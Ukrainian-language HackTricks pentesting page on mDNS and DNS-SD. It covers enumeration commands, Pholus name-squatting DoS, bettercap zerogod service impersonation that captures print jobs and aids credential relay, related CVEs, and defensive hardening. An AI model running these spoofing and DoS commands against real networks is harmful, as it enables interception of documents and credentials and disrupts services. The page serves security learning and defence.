5353/UDP Multicast DNS (mDNS) та DNS-SD

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Multicast DNS (mDNS) дозволяє виконувати резолюцію імен та виявлення сервісів, подібно до DNS, всередині локальної мережі без уніicast DNS сервера. Він використовує UDP/5353 та мультикаст адреси 224.0.0.251 (IPv4) та FF02::FB (IPv6). DNS Service Discovery (DNS-SD, зазвичай використовується з mDNS) надає стандартизований спосіб перерахування та опису сервісів через записи PTR, SRV та TXT.

PORT     STATE SERVICE
5353/udp open  zeroconf

Ключові деталі протоколу, які ви часто використовуватимете під час атак:

  • Імена в зоні .local вирішуються через mDNS.
  • Біт QU (Query Unicast) може запитувати унікатні відповіді навіть для мультикастових запитів.
  • Реалізації повинні ігнорувати пакети, які не надходять з локальної лінки; деякі стекі все ще їх приймають.
  • Пробування/оголошення забезпечує унікальні імена хостів/послуг; втручання тут створює умови DoS/“name squatting”.

Модель служби DNS-SD

Служби ідентифікуються як _._tcp або _._udp під .local, наприклад, _ipp._tcp.local (принтери), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) тощо. Виявляйте типи з _services._dns-sd._udp.local, а потім вирішуйте виявлені екземпляри до SRV/TXT/A/AAAA.

Дослідження та перерахування мережі

  • nmap цільовий скан (прямий mDNS на хості):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap широкомовне виявлення (прослуховування сегмента та перерахування всіх типів/екземплярів DNS-SD):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# Список типів послуг
avahi-browse -bt _services._dns-sd._udp
# Перегляд всіх послуг та вирішення до хоста/порту
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# Перегляд всіх HTTP послуг
dns-sd -B _http._tcp
# Перерахування типів послуг
dns-sd -B _services._dns-sd._udp
# Вирішення конкретного екземпляра до SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Захоплення пакетів з tshark:
bash
# Живе захоплення
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Тільки запити списку послуг DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Порада: Деякі браузери/WebRTC використовують ефемерні mDNS імена хостів для маскування локальних IP. Якщо ви бачите випадкові candidates random-UUID.local в мережі, вирішуйте їх за допомогою mDNS, щоб перейти до локальних IP.

Атаки

Втручання в пробування імен mDNS (DoS / name squatting)

Під час фази пробування хост перевіряє унікальність імен. Відповідь з підробленими конфліктами змушує його вибирати нові імена або зазнати невдачі. Це може затримати або запобігти реєстрації та виявленню послуг.

Приклад з Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)

Вдавайте з себе рекламовані DNS-SD сервіси (принтери, AirPlay, HTTP, файлові спільноти), щоб змусити клієнтів підключатися до вас. Це особливо корисно для:

  • Захоплення документів, вдаючи з себе _ipp._tcp або _printer._tcp.
  • Привертання клієнтів до HTTP/HTTPS сервісів для збору токенів/куків або доставки payloads.
  • Поєднання з техніками реле NTLM, коли клієнти Windows ведуть переговори про автентифікацію до підроблених сервісів.

З модулем zerogod від bettercap (mDNS/DNS-SD спуфер/імітатор):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Також дивіться загальні LLMNR/NBNS/mDNS/WPAD спуфінг та робочі процеси захоплення/ретрансляції облікових даних:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Примітки щодо недавніх проблем з реалізацією (корисно для DoS/стійкості під час залучень)

  • Помилки досягнення Avahi та збої D-Bus (2023) можуть призвести до завершення avahi-daemon на дистрибутивах Linux (наприклад, CVE-2023-38469..38473, CVE-2023-1981), що порушує виявлення сервісів на цільових хостах до перезавантаження.
  • DoS шлюзу mDNS контролера бездротової LAN Cisco IOS XE (2024, CVE-2024-20303) дозволяє сусіднім зловмисникам викликати високе навантаження на ЦП і відключати AP. Якщо ви стикаєтеся з шлюзом mDNS між VLAN, будьте обережні щодо його стабільності при неправильно сформованому або високому трафіку mDNS.

Оборонні міркування та OPSEC

  • Межі сегментів: Не маршрутизуйте 224.0.0.251/FF02::FB між зонами безпеки, якщо шлюз mDNS не є явно необхідним. Якщо ви повинні з'єднати виявлення, надавайте перевагу спискам дозволів і обмеженням швидкості.
  • Windows кінцеві точки/сервери:
  • Щоб жорстко вимкнути розв'язання імен через mDNS, встановіть значення реєстру та перезавантажте:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • У керованих середовищах вимкніть вбудоване правило брандмауера Windows Defender “mDNS (UDP-In)” (принаймні на профілі домену), щоб запобігти вхідній обробці mDNS, зберігаючи функціональність домашньої/мобільної роботи.
  • У новіших версіях Windows 11/GPO шаблонах використовуйте політику “Конфігурація комп'ютера > Адміністративні шаблони > Мережа > DNS-клієнт > Налаштувати протокол мультикастового DNS (mDNS)” і встановіть його на Вимкнено.
  • Linux (Avahi):
  • Обмежте публікацію, коли це не потрібно: встановіть disable-publishing=yes, і обмежте інтерфейси за допомогою allow-interfaces= / deny-interfaces= в /etc/avahi/avahi-daemon.conf.
  • Розгляньте check-response-ttl=yes і уникайте enable-reflector=yes, якщо це не є строго необхідним; надавайте перевагу reflect-filters= спискам дозволів при відображенні.
  • macOS: Обмежте вхідний mDNS на хостах/мережевих брандмауерах, коли виявлення Bonjour не потрібно для конкретних підмереж.
  • Моніторинг: Сповіщайте про незвичайні сплески запитів _services._dns-sd._udp.local або раптові зміни в SRV/TXT критичних сервісів; це є показниками спуфінгу або наслідування сервісів.

Швидка довідка по інструментах

  • nmap NSE: dns-service-discovery та broadcast-dns-service-discovery.
  • Pholus: активне сканування, зворотні mDNS сканування, допоміжні засоби DoS та спуфінгу.
bash
# Пасивне прослуховування (секунди тайм-ауту)
sudo python3 pholus3.py <iface> -stimeout 60
# Перерахунок типів сервісів
sudo python3 pholus3.py <iface> -sscan
# Надіслати загальні запити mDNS
sudo python3 pholus3.py <iface> --request
# Зворотне mDNS сканування підмережі
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: виявлення, збереження, реклама та наслідування mDNS/DNS-SD сервісів (див. приклади вище).

Спуфінг/MitM

Найцікавіша атака, яку ви можете виконати через цей сервіс, - це виконати MitM у спілкуванні між клієнтом і реальним сервером. Ви можете отримати чутливі файли (MitM спілкування з принтером) або навіть облікові дані (автентифікація Windows).
Для отримання додаткової інформації дивіться:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks